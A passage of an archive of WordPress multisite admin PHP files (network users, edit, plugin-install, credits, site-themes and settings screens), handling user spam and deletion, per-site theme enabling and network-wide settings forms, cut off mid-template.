); if ( is_super_admin( $user->ID ) ) { wp_die( sprintf( /* translators: %s: User login. */ __( 'Warning! User cannot be modified. The user %s is a network administrator.' ), esc_html( $user->user_login ) ), 403 ); } $userfunction = 'all_spam'; /** * Filters whether to propagate the blog status when a user is marked as spam. * * @since 7.0.0 * * @param bool $propagate Whether to propagate the blog status. Default false. * @param int $user_id User ID. */ if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) { foreach ( get_blogs_of_user( $user_id, true ) as $details ) { // Assuming the main site is not a spam. if ( ! is_main_site( $details->userblog_id ) ) { update_blog_status( $details->userblog_id, 'spam', '1' ); } } } $user_data = $user->to_array(); $user_data['spam'] = '1'; wp_update_user( $user_data ); break; case 'notspam': $user = get_userdata( $user_id ); if ( is_super_admin( $user->ID ) ) { wp_die( sprintf( /* translators: %s: User login. */ __( 'Warning! User cannot be modified. The user %s is a network administrator.' ), esc_html( $user->user_login ) ), 403 ); } $userfunction = 'all_notspam'; $blogs = get_blogs_of_user( $user_id, true ); /** This filter is documented in wp-admin/network/users.php */ if ( apply_filters( 'propagate_network_user_spam_to_blogs', false, $user_id ) ) { foreach ( get_blogs_of_user( $user_id, true ) as $details ) { if ( ! is_main_site( $details->userblog_id ) && get_current_network_id() === $details->site_id ) { // Assuming main site is never a spam and part of the current network. update_blog_status( $details->userblog_id, 'spam', '0' ); } } } $user_data = $user->to_array(); $user_data['spam'] = '0'; wp_update_user( $user_data ); break; } } } if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) { $sendback = wp_get_referer(); $user_ids = (array) $_POST['allusers']; /** This action is documented in wp-admin/network/site-themes.php */ $sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores wp_safe_redirect( $sendback ); exit; } wp_safe_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $userfunction, ), wp_get_referer() ) ); } else { $location = network_admin_url( 'users.php' ); if ( ! empty( $_REQUEST['paged'] ) ) { $location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location ); } wp_redirect( $location ); } exit; case 'dodelete': check_admin_referer( 'ms-users-delete' ); if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) { foreach ( $_POST['blog'] as $id => $users ) { foreach ( $users as $blogid => $user_id ) { if ( ! current_user_can( 'delete_user', $id ) ) { continue; } if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) { remove_user_from_blog( $id, $blogid, (int) $user_id ); } else { remove_user_from_blog( $id, $blogid ); } } } } $i = 0; if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) { foreach ( $_POST['user'] as $id ) { if ( ! current_user_can( 'delete_user', $id ) ) { continue; } wpmu_delete_user( $id ); ++$i; } } if ( 1 === $i ) { $deletefunction = 'delete'; } else { $deletefunction = 'all_delete'; } wp_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $deletefunction, ), network_admin_url( 'users.php' ) ) ); exit; } } $wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); $wp_list_table->prepare_items(); $total_pages = $wp_list_table->get_pagination_arg( 'total_pages' ); if ( $pagenum > $total_pages && $total_pages > 0 ) { wp_redirect( add_query_arg( 'paged', $total_pages ) ); exit; } // Used in the HTML title tag. $title = __( 'Users' ); $parent_file = 'users.php'; add_screen_option( 'per_page' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' . '<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' . '<p>' . __( 'You can also go to the user’s profile page by clicking on the individual username.' ) . '</p>' . '<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' . '<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' . '<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter users list' ), 'heading_pagination' => __( 'Users list navigation' ), 'heading_list' => __( 'Users list' ), ) ); require_once ABSPATH . 'wp-admin/admin-header.php'; if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) { $message = ''; switch ( $_REQUEST['action'] ) { case 'delete': $message = __( 'User deleted.' ); break; case 'all_spam': $message = __( 'Users marked as spam.' ); break; case 'all_notspam': $message = __( 'Users removed from spam.' ); break; case 'all_delete': $message = __( 'Users deleted.' ); break; case 'add': $message = __( 'User added.' ); break; } wp_admin_notice( $message, array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } ?> <div class="wrap"> <h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1> <?php if ( current_user_can( 'create_users' ) ) : ?> <a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add User' ); ?></a> <?php endif; if ( strlen( $usersearch ) ) { echo '<span class="subtitle">'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' . esc_html( $usersearch ) . '</strong>' ); echo '</span>'; } ?> <hr class="wp-header-end"> <?php $wp_list_table->views(); ?> <form method="get" class="search-form"> <?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?> </form> <form id="form-user-list" action="users.php?action=allusers" method="post"> <?php $wp_list_table->display(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> network/edit.php 0000644 00000001556 15233246127 0007707 0 ustar 00 <?php /** * Action handler for Multisite administration panels. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; $action = $_GET['action'] ?? ''; if ( empty( $action ) ) { wp_redirect( network_admin_url() ); exit; } /** * Fires just before the action handler in several Network Admin screens. * * This hook fires on multiple screens in the Multisite Network Admin, * including Users, Network Settings, and Site Settings. * * @since 3.0.0 */ do_action( 'wpmuadminedit' ); /** * Fires the requested handler action. * * The dynamic portion of the hook name, `$action`, refers to the name * of the requested action derived from the `GET` request. * * @since 3.1.0 */ do_action( "network_admin_edit_{$action}" ); wp_redirect( network_admin_url() ); exit; network/plugin-install.php 0000644 00000000571 15233246127 0011720 0 ustar 00 <?php /** * Install plugin network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/plugin-install.php'; network/credits.php 0000644 00000000371 15233246127 0010411 0 ustar 00 <?php /** * Network Credits administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/credits.php'; network/site-themes.php 0000644 00000015302 15233246127 0011203 0 ustar 00 <?php /** * Edit Site Themes Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) ); } get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter site themes list' ), 'heading_pagination' => __( 'Site themes list navigation' ), 'heading_list' => __( 'Site themes list' ), ) ); $wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' ); $action = $wp_list_table->current_action(); $s = $_REQUEST['s'] ?? ''; // Clean up request URI from temporary args for screen options/paging uri's to work as expected. $temp_args = array( 'enabled', 'disabled', 'error' ); $_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] ); $referer = remove_query_arg( $temp_args, wp_get_referer() ); if ( ! empty( $_REQUEST['paged'] ) ) { $referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer ); } $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $wp_list_table->prepare_items(); $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); if ( $action ) { switch_to_blog( $id ); $allowed_themes = get_option( 'allowedthemes' ); switch ( $action ) { case 'enable': check_admin_referer( 'enable-theme_' . $_GET['theme'] ); $theme = $_GET['theme']; $action = 'enabled'; $n = 1; if ( ! $allowed_themes ) { $allowed_themes = array( $theme => true ); } else { $allowed_themes[ $theme ] = true; } break; case 'disable': check_admin_referer( 'disable-theme_' . $_GET['theme'] ); $theme = $_GET['theme']; $action = 'disabled'; $n = 1; if ( ! $allowed_themes ) { $allowed_themes = array(); } else { unset( $allowed_themes[ $theme ] ); } break; case 'enable-selected': check_admin_referer( 'bulk-themes' ); if ( isset( $_POST['checked'] ) ) { $themes = (array) $_POST['checked']; $action = 'enabled'; $n = count( $themes ); foreach ( (array) $themes as $theme ) { $allowed_themes[ $theme ] = true; } } else { $action = 'error'; $n = 'none'; } break; case 'disable-selected': check_admin_referer( 'bulk-themes' ); if ( isset( $_POST['checked'] ) ) { $themes = (array) $_POST['checked']; $action = 'disabled'; $n = count( $themes ); foreach ( (array) $themes as $theme ) { unset( $allowed_themes[ $theme ] ); } } else { $action = 'error'; $n = 'none'; } break; default: if ( isset( $_POST['checked'] ) ) { check_admin_referer( 'bulk-themes' ); $themes = (array) $_POST['checked']; $n = count( $themes ); $screen = get_current_screen()->id; /** * Fires when a custom bulk action should be handled. * * The redirect link should be modified with success or failure feedback * from the action to be used to display feedback to the user. * * The dynamic portion of the hook name, `$screen`, refers to the current screen ID. * * @since 4.7.0 * * @param string $redirect_url The redirect URL. * @param string $action The action being taken. * @param array $items The items to take the action on. * @param int $site_id The site ID. */ $referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } else { $action = 'error'; $n = 'none'; } } update_option( 'allowedthemes', $allowed_themes, false ); restore_current_blog(); wp_safe_redirect( add_query_arg( array( 'id' => $id, $action => $n, ), $referer ) ); exit; } if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) { wp_safe_redirect( $referer ); exit; } add_thickbox(); add_screen_option( 'per_page' ); // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-themes', ) ); if ( isset( $_GET['enabled'] ) ) { $enabled = absint( $_GET['enabled'] ); if ( 1 === $enabled ) { $message = __( 'Theme enabled.' ); } else { /* translators: %s: Number of themes. */ $message = _n( '%s theme enabled.', '%s themes enabled.', $enabled ); } wp_admin_notice( sprintf( $message, number_format_i18n( $enabled ) ), array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } elseif ( isset( $_GET['disabled'] ) ) { $disabled = absint( $_GET['disabled'] ); if ( 1 === $disabled ) { $message = __( 'Theme disabled.' ); } else { /* translators: %s: Number of themes. */ $message = _n( '%s theme disabled.', '%s themes disabled.', $disabled ); } wp_admin_notice( sprintf( $message, number_format_i18n( $disabled ) ), array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) { wp_admin_notice( __( 'No theme selected.' ), array( 'type' => 'error', 'dismissible' => true, 'id' => 'message', ) ); } ?> <p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p> <form method="get"> <?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> </form> <?php $wp_list_table->views(); ?> <form method="post" action="site-themes.php?action=update-site"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <?php $wp_list_table->display(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> network/settings.php 0000644 00000053013 15233246127 0010615 0 ustar 00 <?php /** * Multisite network settings administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** WordPress Translation Installation API */ require_once ABSPATH . 'wp-admin/includes/translation-install.php'; if ( ! current_user_can( 'manage_network_options' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } // Used in the HTML title tag. $title = __( 'Network Settings' ); $parent_file = 'settings.php'; // Handle network admin email change requests. if ( ! empty( $_GET['network_admin_hash'] ) ) { $new_admin_details = get_site_option( 'network_admin_hash' ); $redirect = 'settings.php?updated=false'; if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details['hash'], $_GET['network_admin_hash'] ) && ! empty( $new_admin_details['newemail'] ) ) { update_site_option( 'admin_email', $new_admin_details['newemail'] ); delete_site_option( 'network_admin_hash' ); delete_site_option( 'new_admin_email' ); $redirect = 'settings.php?updated=true'; } wp_redirect( network_admin_url( $redirect ) ); exit; } elseif ( ! empty( $_GET['dismiss'] ) && 'new_network_admin_email' === $_GET['dismiss'] ) { check_admin_referer( 'dismiss_new_network_admin_email' ); delete_site_option( 'network_admin_hash' ); delete_site_option( 'new_admin_email' ); wp_redirect( network_admin_url( 'settings.php?updated=true' ) ); exit; } add_action( 'admin_head', 'network_settings_add_js' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site’s options.' ) . '</p>' . '<p>' . __( 'Operational settings has fields for the network’s name and admin email.' ) . '</p>' . '<p>' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '</p>' . '<p>' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what᾿s put in the first post, page, comment, comment author, and comment URL.' ) . '</p>' . '<p>' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '</p>' . '<p>' . __( 'You can set the language, and WordPress will automatically download and install the translation files (available if your filesystem is writable).' ) . '</p>' . '<p>' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '</p>' . '<p>' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/settings/">Documentation on Network Settings</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); if ( $_POST ) { /** This action is documented in wp-admin/network/edit.php */ do_action( 'wpmuadminedit' ); check_admin_referer( 'siteoptions' ); $checked_options = array( 'menu_items' => array(), 'registrationnotification' => 'no', 'upload_space_check_disabled' => 1, 'add_new_users' => 0, ); foreach ( $checked_options as $option_name => $option_unchecked_value ) { if ( ! isset( $_POST[ $option_name ] ) ) { $_POST[ $option_name ] = $option_unchecked_value; } } $options = array( 'registrationnotification', 'registration', 'add_new_users', 'menu_items', 'upload_space_check_disabled', 'blog_upload_space', 'upload_filetypes', 'site_name', 'first_post', 'first_page', 'first_comment', 'first_comment_url', 'first_comment_author', 'welcome_email', 'welcome_user_email', 'fileupload_maxk', 'illegal_names', 'limited_email_domains', 'banned_email_domains', 'WPLANG', 'new_admin_email', 'first_comment_email', ); // Handle translation installation. if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) { $language = wp_download_language_pack( $_POST['WPLANG'] ); if ( $language ) { $_POST['WPLANG'] = $language; } } foreach ( $options as $option_name ) { if ( ! isset( $_POST[ $option_name ] ) ) { continue; } $value = wp_unslash( $_POST[ $option_name ] ); update_site_option( $option_name, $value ); } /** * Fires after the network options are updated. * * @since MU (3.0.0) */ do_action( 'update_wpmu_options' ); wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) ); exit; } require_once ABSPATH . 'wp-admin/admin-header.php'; if ( isset( $_GET['updated'] ) ) { wp_admin_notice( __( 'Settings saved.' ), array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <form method="post" action="settings.php" novalidate="novalidate"> <?php wp_nonce_field( 'siteoptions' ); ?> <h2><?php _e( 'Operational Settings' ); ?></h2> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="site_name"><?php _e( 'Network Title' ); ?></label></th> <td> <input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( get_network()->site_name ); ?>" /> </td> </tr> <tr> <th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ); ?></label></th> <td> <input name="new_admin_email" type="email" id="admin_email" aria-describedby="admin-email-desc" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ); ?>" /> <p class="description" id="admin-email-desc"> <?php _e( 'This address is used for admin purposes. If you change this, an email will be sent to your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?> </p> <?php $new_admin_email = get_site_option( 'new_admin_email' ); if ( $new_admin_email && get_site_option( 'admin_email' ) !== $new_admin_email ) : $notice_message = sprintf( /* translators: %s: New network admin email. */ __( 'There is a pending change of the network admin email to %s.' ), '<code>' . esc_html( $new_admin_email ) . '</code>' ); $notice_message .= sprintf( ' <a href="%1$s">%2$s</a>', esc_url( wp_nonce_url( network_admin_url( 'settings.php?dismiss=new_network_admin_email' ), 'dismiss_new_network_admin_email' ) ), __( 'Cancel' ) ); wp_admin_notice( $notice_message, array( 'type' => 'warning', 'dismissible' => true, 'additional_classes' => array( 'inline' ), ) ); endif; ?> </td> </tr> </table> <h2><?php _e( 'Registration Settings' ); ?></h2> <table class="form-table" role="presentation"> <?php $new_registrations_settings_title = __( 'Allow new registrations' ); ?> <tr> <th scope="row"><?php echo $new_registrations_settings_title; ?></th> <?php if ( ! get_site_option( 'registration' ) ) { update_site_option( 'registration', 'none' ); } $reg = get_site_option( 'registration' ); ?> <td> <fieldset> <legend class="screen-reader-text"><?php echo $new_registrations_settings_title; ?></legend> <label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none' ); ?> /> <?php _e( 'Registration is disabled' ); ?></label><br /> <label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user' ); ?> /> <?php _e( 'User accounts may be registered' ); ?></label><br /> <label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog' ); ?> /> <?php _e( 'Logged in users may register new sites' ); ?></label><br /> <label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all' ); ?> /> <?php _e( 'Both sites and user accounts can be registered' ); ?></label> <?php if ( is_subdomain_install() ) { echo '<p class="description">'; printf( /* translators: 1: NOBLOGREDIRECT, 2: wp-config.php */ __( 'If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.' ), '<code>NOBLOGREDIRECT</code>', '<code>wp-config.php</code>' ); echo '</p>'; } ?> </fieldset> </td> </tr> <tr> <th scope="row"><?php _e( 'Registration notification' ); ?></th> <?php if ( ! get_site_option( 'registrationnotification' ) ) { update_site_option( 'registrationnotification', 'yes' ); } ?> <td> <label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ); ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account' ); ?></label> </td> </tr> <tr id="addnewusers"> <th scope="row"><?php _e( 'Add Users' ); ?></th> <td> <label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ); ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users → Add User" page' ); ?></label> </td> </tr> <tr> <th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ); ?></label></th> <td> <?php $illegal_names = get_site_option( 'illegal_names' ); if ( empty( $illegal_names ) ) { $illegal_names = ''; } elseif ( is_array( $illegal_names ) ) { $illegal_names = implode( ' ', $illegal_names ); } ?> <input name="illegal_names" type="text" id="illegal_names" aria-describedby="illegal-names-desc" class="large-text" value="<?php echo esc_attr( $illegal_names ); ?>" size="45" /> <p class="description" id="illegal-names-desc"> <?php _e( 'Users are not allowed to register these sites. Separate names by spaces.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="limited_email_domains"><?php _e( 'Limited Email Registrations' ); ?></label></th> <td> <?php $limited_email_domains = get_site_option( 'limited_email_domains' ); if ( empty( $limited_email_domains ) ) { $limited_email_domains = ''; } else { // Convert from an input field. Back-compat for WPMU < 1.0. $limited_email_domains = str_replace( ' ', "\n", $limited_email_domains ); if ( is_array( $limited_email_domains ) ) { $limited_email_domains = implode( "\n", $limited_email_domains ); } } ?> <textarea name="limited_email_domains" id="limited_email_domains" aria-describedby="limited-email-domains-desc" cols="45" rows="5"> <?php echo esc_textarea( $limited_email_domains ); ?></textarea> <p class="description" id="limited-email-domains-desc"> <?php _e( 'If you want to limit site registrations to certain domains. One domain per line.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="banned_email_domains"><?php _e( 'Banned Email Domains' ); ?></label></th> <td> <?php $banned_email_domains = get_site_option( 'banned_email_domains' ); if ( empty( $banned_email_domains ) ) { $banned_email_domains = ''; } elseif ( is_array( $banned_email_domains ) ) { $banned_email_domains = implode( "\n", $banned_email_domains ); } ?> <textarea name="banned_email_domains" id="banned_email_domains" aria-describedby="banned-email-domains-desc" cols="45" rows="5"> <?php echo esc_textarea( $banned_email_domains ); ?></textarea> <p class="description" id="banned-email-domains-desc"> <?php _e( 'If you want to ban domains from site registrations. One domain per line.' ); ?> </p> </td> </tr> </table> <h2><?php _e( 'New Site Settings' ); ?></h2> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="welcome_email"><?php _e( 'Welcome Email' ); ?></label></th> <td> <textarea name="welcome_email" id="welcome_email" aria-describedby="welcome-email-desc" rows="5" cols="45" class="large-text"> <?php echo esc_textarea( get_site_option( 'welcome_email' ) ); ?></textarea> <p class="description" id="welcome-email-desc"> <?php _e( 'The welcome email sent to new site owners.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="welcome_user_email"><?php _e( 'Welcome User Email' ); ?></label></th> <td> <textarea name="welcome_user_email" id="welcome_user_email" aria-describedby="welcome-user-email-desc" rows="5" cols="45" class="large-text"> <?php echo esc_textarea( get_site_option( 'welcome_user_email' ) ); ?></textarea> <p class="description" id="welcome-user-email-desc"> <?php _e( 'The welcome email sent to new users.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="first_post"><?php _e( 'First Post' ); ?></label></th> <td> <textarea name="first_post" id="first_post" aria-describedby="first-post-desc" rows="5" cols="45" class="large-text"> <?php echo esc_textarea( get_site_option( 'first_post' ) ); ?></textarea> <p class="description" id="first-post-desc"> <?php _e( 'The first post on a new site.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="first_page"><?php _e( 'First Page' ); ?></label></th> <td> <textarea name="first_page" id="first_page" aria-describedby="first-page-desc" rows="5" cols="45" class="large-text"> <?php echo esc_textarea( get_site_option( 'first_page' ) ); ?></textarea> <p class="description" id="first-page-desc"> <?php _e( 'The first page on a new site.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="first_comment"><?php _e( 'First Comment' ); ?></label></th> <td> <textarea name="first_comment" id="first_comment" aria-describedby="first-comment-desc" rows="5" cols="45" class="large-text"> <?php echo esc_textarea( get_site_option( 'first_comment' ) ); ?></textarea> <p class="description" id="first-comment-desc"> <?php _e( 'The first comment on a new site.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="first_comment_author"><?php _e( 'First Comment Author' ); ?></label></th> <td> <input type="text" size="40" name="first_comment_author" id="first_comment_author" aria-describedby="first-comment-author-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_author' ) ); ?>" /> <p class="description" id="first-comment-author-desc"> <?php _e( 'The author of the first comment on a new site.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="first_comment_email"><?php _e( 'First Comment Email' ); ?></label></th> <td> <input type="text" size="40" name="first_comment_email" id="first_comment_email" aria-describedby="first-comment-email-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_email' ) ); ?>" /> <p class="description" id="first-comment-email-desc"> <?php _e( 'The email address of the first comment author on a new site.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="first_comment_url"><?php _e( 'First Comment URL' ); ?></label></th> <td> <input type="text" size="40" name="first_comment_url" id="first_comment_url" aria-describedby="first-comment-url-desc" value="<?php echo esc_attr( get_site_option( 'first_comment_url' ) ); ?>" /> <p class="description" id="first-comment-url-desc"> <?php _e( 'The URL for the first comment on a new site.' ); ?> </p> </td> </tr> </table> <h2><?php _e( 'Upload Settings' ); ?></h2> <table class="form-table" role="presentation"> <tr> <th scope="row"><?php _e( 'Site upload space' ); ?></th> <td> <label><input type="checkbox" id="upload_space_check_disabled" name="upload_space_check_disabled" value="0"<?php checked( (bool) get_site_option( 'upload_space_check_disabled' ), false ); ?> /> <?php printf( /* translators: %s: Number of megabytes to limit uploads to. */ __( 'Limit total size of files uploaded to %s MB' ), '</label><label><input name="blog_upload_space" type="number" min="0" style="width: 100px" id="blog_upload_space" aria-describedby="blog-upload-space-desc" value="' . esc_attr( get_site_option( 'blog_upload_space', 100 ) ) . '" />' ); ?> </label><br /> <p class="screen-reader-text" id="blog-upload-space-desc"> <?php /* translators: Hidden accessibility text. */ _e( 'Size in megabytes' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="upload_filetypes"><?php _e( 'Upload file types' ); ?></label></th> <td> <input name="upload_filetypes" type="text" id="upload_filetypes" aria-describedby="upload-filetypes-desc" class="large-text" value="<?php echo esc_attr( get_site_option( 'upload_filetypes', 'jpg jpeg png gif' ) ); ?>" size="45" /> <p class="description" id="upload-filetypes-desc"> <?php _e( 'Allowed file types. Separate types by spaces.' ); ?> </p> </td> </tr> <tr> <th scope="row"><label for="fileupload_maxk"><?php _e( 'Max upload file size' ); ?></label></th> <td> <?php printf( /* translators: %s: File size in kilobytes. */ __( '%s KB' ), '<input name="fileupload_maxk" type="number" min="0" style="width: 100px" id="fileupload_maxk" aria-describedby="fileupload-maxk-desc" value="' . esc_attr( get_site_option( 'fileupload_maxk', 300 ) ) . '" />' ); ?> <p class="screen-reader-text" id="fileupload-maxk-desc"> <?php /* translators: Hidden accessibility text. */ _e( 'Size in kilobytes' ); ?> </p> </td> </tr> </table> <?php $languages = get_available_languages(); $translations = wp_get_available_translations(); if ( ! empty( $languages ) || ! empty( $translations ) ) { ?> <h2><?php _e( 'Language Settings' ); ?></h2> <table class="form-table" role="presentation"> <tr> <th><label for="WPLANG"><?php _e( 'Default Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label></th> <td> <?php $lang = get_site_option( 'WPLANG' ); if ( ! in_array( $lang, $languages, true ) ) { $lang = ''; } wp_dropdown_languages( array( 'name' => 'WPLANG', 'id' => 'WPLANG', 'selected' => $lang, 'languages' => $languages, 'translations' => $translations, 'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(), ) ); ?> </td> </tr> </table> <?php } ?> <?php $menu_perms = get_site_option( 'menu_items' ); /** * Filters available network-wide administration menu options. * * Options returned to this filter are output as individual checkboxes that, when selected, * enable site administrator access to the specified administration menu in certain contexts. * * Adding options for specific menus here hinges on the appropriate checks and capabilities * being in place in the site dashboard on the other side. For instance, when the single * default option, 'plugins' is enabled, site administrators are granted access to the Plugins * screen in their individual sites' dashboards. * * @since MU (3.0.0) * * @param string[] $admin_menus Associative array of the menu items available. */ $menu_items = apply_filters( 'mu_menu_items', array( 'plugins' => __( 'Plugins' ) ) ); if ( $menu_items ) : ?> <h2><?php _e( 'Menu Settings' ); ?></h2> <table id="menu" class="form-table"> <?php 